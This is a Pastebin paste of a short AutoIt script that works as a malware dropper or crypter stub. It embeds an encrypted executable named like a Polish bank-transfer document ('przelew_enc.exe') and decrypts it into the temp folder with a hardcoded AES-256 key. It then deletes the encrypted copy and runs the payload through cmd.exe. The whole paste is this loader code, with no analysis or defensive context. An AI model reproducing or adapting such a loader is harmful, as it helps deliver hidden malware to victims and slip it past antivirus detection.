Advertisement
Guest User

Untitled

a guest
Sep 30th, 2015
345
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.92 KB | None | 0 0
  1. Local $readfilename = "przelew_enc.exe"
  2. Local $nazwakatalogu = @ScriptDir
  3. Local $nazwapliku = StringReplace($readfilename, "_enc", "")
  4. FileCopy($nazwakatalogu & "\" & $nazwapliku, @TempDir, $fc_overwrite + $fc_createpath)
  5. If FileExists(@TempDir & "\" & $readfilename) Then
  6. Else
  7. FileInstall("C:\Program Files\AutoHotkey\Compiler\przelew_enc.exe", @TempDir & "\" & $readfilename, 1)
  8. EndIf
  9. Local $newfilename = StringReplace($readfilename, "_enc", "_dec")
  10. $firstdot = StringInStr($readfilename, ".", 0, -1)
  11. $fileextension = StringTrimLeft($readfilename, $firstdot - 1)
  12. $passkey = "takczopur"
  13. If _crypt_decryptfile(@TempDir & "\" & $readfilename, @TempDir & "\" & $newfilename, $passkey, $calg_aes_256) Then
  14. FileDelete(@TempDir & "\" & $readfilename)
  15. Else
  16. FileDelete(@TempDir & "\" & $newfilename)
  17. MsgBox("", "", "invalid password")
  18. Exit
  19. EndIf
  20. ShellExecuteWait("cmd.exe", " /c cd " & @TempDir & " & " & $newfilename, "")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement